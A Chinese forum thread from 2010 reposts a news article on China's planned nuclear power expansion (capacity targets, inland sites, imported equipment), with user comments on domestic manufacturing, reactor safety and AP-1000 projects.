造不出来就是造不出来，不是克服一下抓紧一下就能出成果的。摆在眼前的都是白花花的银子，没有本事挣不到也是白搭。
生产制造的发展和拍脑袋决策是两码事。
造不出来就是造不出来，不是克服一下抓紧一下就能出成果的。摆在眼前的都是白花花的银子，没有本事挣不到也是白搭。
红色俱乐部 发表于 2010-5-22 19:09
全世界能够成套生产铁路运输系统的也没几个国家，日本也就是新干线是个亮点，有些项目上他都是空白点。
全世界能够成套生产铁路运输系统的也没几个国家，日本也就是新干线是个亮点，有些项目上他都是空白点。
cedric 发表于 2010-5-22 19:53
关于这点NHK也说了，美帝的火车招标是招标全套，可是日本是分工招标，也就说造火车不管造站台的，如果不解决这个问题，不统一合作，日本甚至连招标的资格都没有。
关于这点NHK也说了，美帝的火车招标是招标全套，可是日本是分工招标，也就说造火车不管造站台的，如果不解决这个问题，不统一合作，日本甚至连招标的资格都没有。
中国核电投资“大跃进” 十年将达一万亿
http://www.chinareviewnews.com 2010-05-21
中评社北京5月21日电／21世纪经济报道消息，考虑到未来5－10年中国新建核电机组将以每年5－8台的速度递增，今后10年中国核电直接投资将超过1万亿。
在5月19日举行的第六届中国核能国际大会上，中国核能行业协会副秘书长徐玉明向记者透露了上述信息。
此前，核电中长期规划提出的目标是2020年核电装机达到4000万千瓦，这个目标有望提前到2015年实现，2020年的核电装机目标有可能被修正为8000万千瓦。
不过，实现上述目标需要解决4大问题——核燃料供应、设备国产化、自主创新、核电自主人才。徐玉明指出，中国目前的核电燃料可以自主供给，但是如果要实现超常规发展，国家能源局就要加快做好核燃料供应布局，否则将来难免需要依赖进口。
中国原子能科学研究院实验快堆总工程师徐銤也表示，“国内铀矿是可以自给自足的，问题在于如果核电建设加快，铀矿生产也需要加快。”
记者获悉，目前地方对于核电站建设的积极性也很大。一位接近电力规划设计总院的人士透露，目前全国各地上报的候选核电站厂址就有100多个，如果按照每个厂址建设一台100万千瓦核电机组来计算，总装机量远远超过1亿千瓦。
核电投资“大跃进”
根据中电联的统计，截至2009年，全国核电装机容量为908万千瓦，占到发电总装机的1.04%，核电发电700亿千瓦时，占全国发电量的1.95%。
接近能源局的人士透露，考虑到加快发展核电的迫切性，2007年出台的2020年核电装机达到4000万千瓦的规划目标需要进行修订。
国家能源局上报给国务院的中长期核电规划修订有3个目标设定，分别是上限、中限和下限。
低限标准是，到2020年核电装机4000万千瓦，中限标准是2020年核电装机7000万千瓦，上限标准是2020年核电装机1亿千瓦。由于目前已经核准装机3140万千瓦，如果今年再核准接近1000万千瓦核电装机，通过5年动工建设，4000万千瓦装机的目标可以提前到2015年实现。
http://www.chinareviewnews.com 2010-05-21
中评社北京5月21日电／21世纪经济报道消息，考虑到未来5－10年中国新建核电机组将以每年5－8台的速度递增，今后10年中国核电直接投资将超过1万亿。
在5月19日举行的第六届中国核能国际大会上，中国核能行业协会副秘书长徐玉明向记者透露了上述信息。
此前，核电中长期规划提出的目标是2020年核电装机达到4000万千瓦，这个目标有望提前到2015年实现，2020年的核电装机目标有可能被修正为8000万千瓦。
不过，实现上述目标需要解决4大问题——核燃料供应、设备国产化、自主创新、核电自主人才。徐玉明指出，中国目前的核电燃料可以自主供给，但是如果要实现超常规发展，国家能源局就要加快做好核燃料供应布局，否则将来难免需要依赖进口。
中国原子能科学研究院实验快堆总工程师徐銤也表示，“国内铀矿是可以自给自足的，问题在于如果核电建设加快，铀矿生产也需要加快。”
记者获悉，目前地方对于核电站建设的积极性也很大。一位接近电力规划设计总院的人士透露，目前全国各地上报的候选核电站厂址就有100多个，如果按照每个厂址建设一台100万千瓦核电机组来计算，总装机量远远超过1亿千瓦。
核电投资“大跃进”
根据中电联的统计，截至2009年，全国核电装机容量为908万千瓦，占到发电总装机的1.04%，核电发电700亿千瓦时，占全国发电量的1.95%。
接近能源局的人士透露，考虑到加快发展核电的迫切性，2007年出台的2020年核电装机达到4000万千瓦的规划目标需要进行修订。
国家能源局上报给国务院的中长期核电规划修订有3个目标设定，分别是上限、中限和下限。
低限标准是，到2020年核电装机4000万千瓦，中限标准是2020年核电装机7000万千瓦，上限标准是2020年核电装机1亿千瓦。由于目前已经核准装机3140万千瓦，如果今年再核准接近1000万千瓦核电装机，通过5年动工建设，4000万千瓦装机的目标可以提前到2015年实现。
中国核能行业协会提供的数据显示，2009年底，国家核准新建核电机组28台，总装机3140万千瓦，正在建设的核电站包括广东岭东核电站、浙江秦山2期、辽宁红沿河核电站、福建宁德、福建福清一期、浙江方家山、广东阳江核电站。
徐玉明认为，今年还有几个核电机组项目将被核准，计算5年的建设周期，预计原定2020年核电装机4000万千瓦的目标有望提前到2015年实现。
上述在建的核电项目主要都分布在沿海地区，而内陆省份发展核电的愿望也很强烈。
徐玉明透露，目前已经完成可行性研究但尚未核准的43个厂址中，有31个分布在内陆地区（滨河，滨湖），而湖南桃花江、湖北大畈和江西彭泽是中国首批三家内陆核电站。
前述接近电力规划设计总院的人士透露，目前找规划院考察备案选址的核电项目有100多个，很多内陆省份规划了的不止一处核电选址，江西、安徽、湖北、湖南等省都规划了数个选址。
“以目前核电的选址储备，实现预期装机总量，不存在任何问题。”一位核电专家说。
不过，中电投顾问俞卓平告诉记者，虽然地方积极性很高，但是最后都需要国家能源局核准才可以开工建设。
装备技术发展需同步
去年国家提出2020年非化石能源的占一次能源的比重要达到15%，单位国内生产总值碳排放要比2005年下降40%－45%的目标。为此，核电作为非化石能源的重要组成部分，需要尽快达到比较高的比重。
徐玉明指出，根据目前的数据测算，2020年核电装机将达到8000万千瓦，占总装机的5%，占全国发电量的8%，占非化石能源比重30%。“核电对于2020年非化石能源占一次能源比重达到15%的目标完成，将作出巨大贡献。”
不过，徐銤告诉记者，过去几年的核电技术力量、铀矿生产、核电装备生产都是按照原规划的低限标准。如果要加快核电装机投产，则需要尽快公布规划，以便原料设备生产以及反应堆的设计和研究跟上建设进度。
目前中国核电的主要锻件，一般都需要进口。中国除了秦山一期、二期属于自主建造外，大亚湾、秦山、田湾核电站设备都是整体进口。
国家核电技术公司设备部副主任简靖文指出，短期内国内企业提供足够的锻件设备有一定的难度，不过目前中国3个重型机械厂已经具备了一定的生产能力，技术瓶颈基本已经突破，预计随着投入的增加，设备自主提供能满足国内核电快速发展的需要。
徐玉明认为，今年还有几个核电机组项目将被核准，计算5年的建设周期，预计原定2020年核电装机4000万千瓦的目标有望提前到2015年实现。
上述在建的核电项目主要都分布在沿海地区，而内陆省份发展核电的愿望也很强烈。
徐玉明透露，目前已经完成可行性研究但尚未核准的43个厂址中，有31个分布在内陆地区（滨河，滨湖），而湖南桃花江、湖北大畈和江西彭泽是中国首批三家内陆核电站。
前述接近电力规划设计总院的人士透露，目前找规划院考察备案选址的核电项目有100多个，很多内陆省份规划了的不止一处核电选址，江西、安徽、湖北、湖南等省都规划了数个选址。
“以目前核电的选址储备，实现预期装机总量，不存在任何问题。”一位核电专家说。
不过，中电投顾问俞卓平告诉记者，虽然地方积极性很高，但是最后都需要国家能源局核准才可以开工建设。
装备技术发展需同步
去年国家提出2020年非化石能源的占一次能源的比重要达到15%，单位国内生产总值碳排放要比2005年下降40%－45%的目标。为此，核电作为非化石能源的重要组成部分，需要尽快达到比较高的比重。
徐玉明指出，根据目前的数据测算，2020年核电装机将达到8000万千瓦，占总装机的5%，占全国发电量的8%，占非化石能源比重30%。“核电对于2020年非化石能源占一次能源比重达到15%的目标完成，将作出巨大贡献。”
不过，徐銤告诉记者，过去几年的核电技术力量、铀矿生产、核电装备生产都是按照原规划的低限标准。如果要加快核电装机投产，则需要尽快公布规划，以便原料设备生产以及反应堆的设计和研究跟上建设进度。
目前中国核电的主要锻件，一般都需要进口。中国除了秦山一期、二期属于自主建造外，大亚湾、秦山、田湾核电站设备都是整体进口。
国家核电技术公司设备部副主任简靖文指出，短期内国内企业提供足够的锻件设备有一定的难度，不过目前中国3个重型机械厂已经具备了一定的生产能力，技术瓶颈基本已经突破，预计随着投入的增加，设备自主提供能满足国内核电快速发展的需要。
核电总比火电好
国产的虽然质量不好，但如果还能凑合着用的话，就有用吧，毕境没机会练是不可能成熟的。
耐心耐心，让时间来证明一切{:cha:}
重新补充编辑了一下！
夏风 发表于 2010-5-22 21:48
自然会有练手的机会，但现在从大局考虑，大部分进口也没什么可指责的。
自然会有练手的机会，但现在从大局考虑，大部分进口也没什么可指责的。
好贴啊，顶之！
楼主还是没能说清楚核电为什么安全。
既然楼主说切尔诺贝利的操作者有自杀倾向，美国那个堆也是操作员错误操作造成的，你应该用”如果现在操作员恶意或失误操作，也不会导致反应堆出事故“的论据来说明核电的安全性吧？？？
既然楼主说切尔诺贝利的操作者有自杀倾向，美国那个堆也是操作员错误操作造成的，你应该用”如果现在操作员恶意或失误操作，也不会导致反应堆出事故“的论据来说明核电的安全性吧？？？
1：关于海阳核电站：中国核电建设两大集团：中核+中广核，看中国核电布局，看他们就够了，其它目前全是打酱油的。海阳核电站，堆型是AP-1000，但是注意，海阳是中能项目，上AP-1000仅仅是为了插入核电市场，跟在中核后面借此进入核电领域而已，完全是跟在三门后面的分摊成本行为，基本可以无视。
2：桃花江核电站，至今尚未正式立项，这就是上面所说的"AP-1000内陆版”，是略微落后于AP-1000的自主化行为，目的是锻炼自己的设计队伍，加速吃透AP-1000，这个也不能省的，是AP-1000国产化的具体落实措施。预计今年年底能正是立项，不过要参照三门的进度。
3：AP-1000主泵，还没有开始中试，成功的仅仅是原形机的长时间试车而已，中试的时候已经是针对生产型的了。
2：桃花江核电站，至今尚未正式立项，这就是上面所说的"AP-1000内陆版”，是略微落后于AP-1000的自主化行为，目的是锻炼自己的设计队伍，加速吃透AP-1000，这个也不能省的，是AP-1000国产化的具体落实措施。预计今年年底能正是立项，不过要参照三门的进度。
3：AP-1000主泵，还没有开始中试，成功的仅仅是原形机的长时间试车而已，中试的时候已经是针对生产型的了。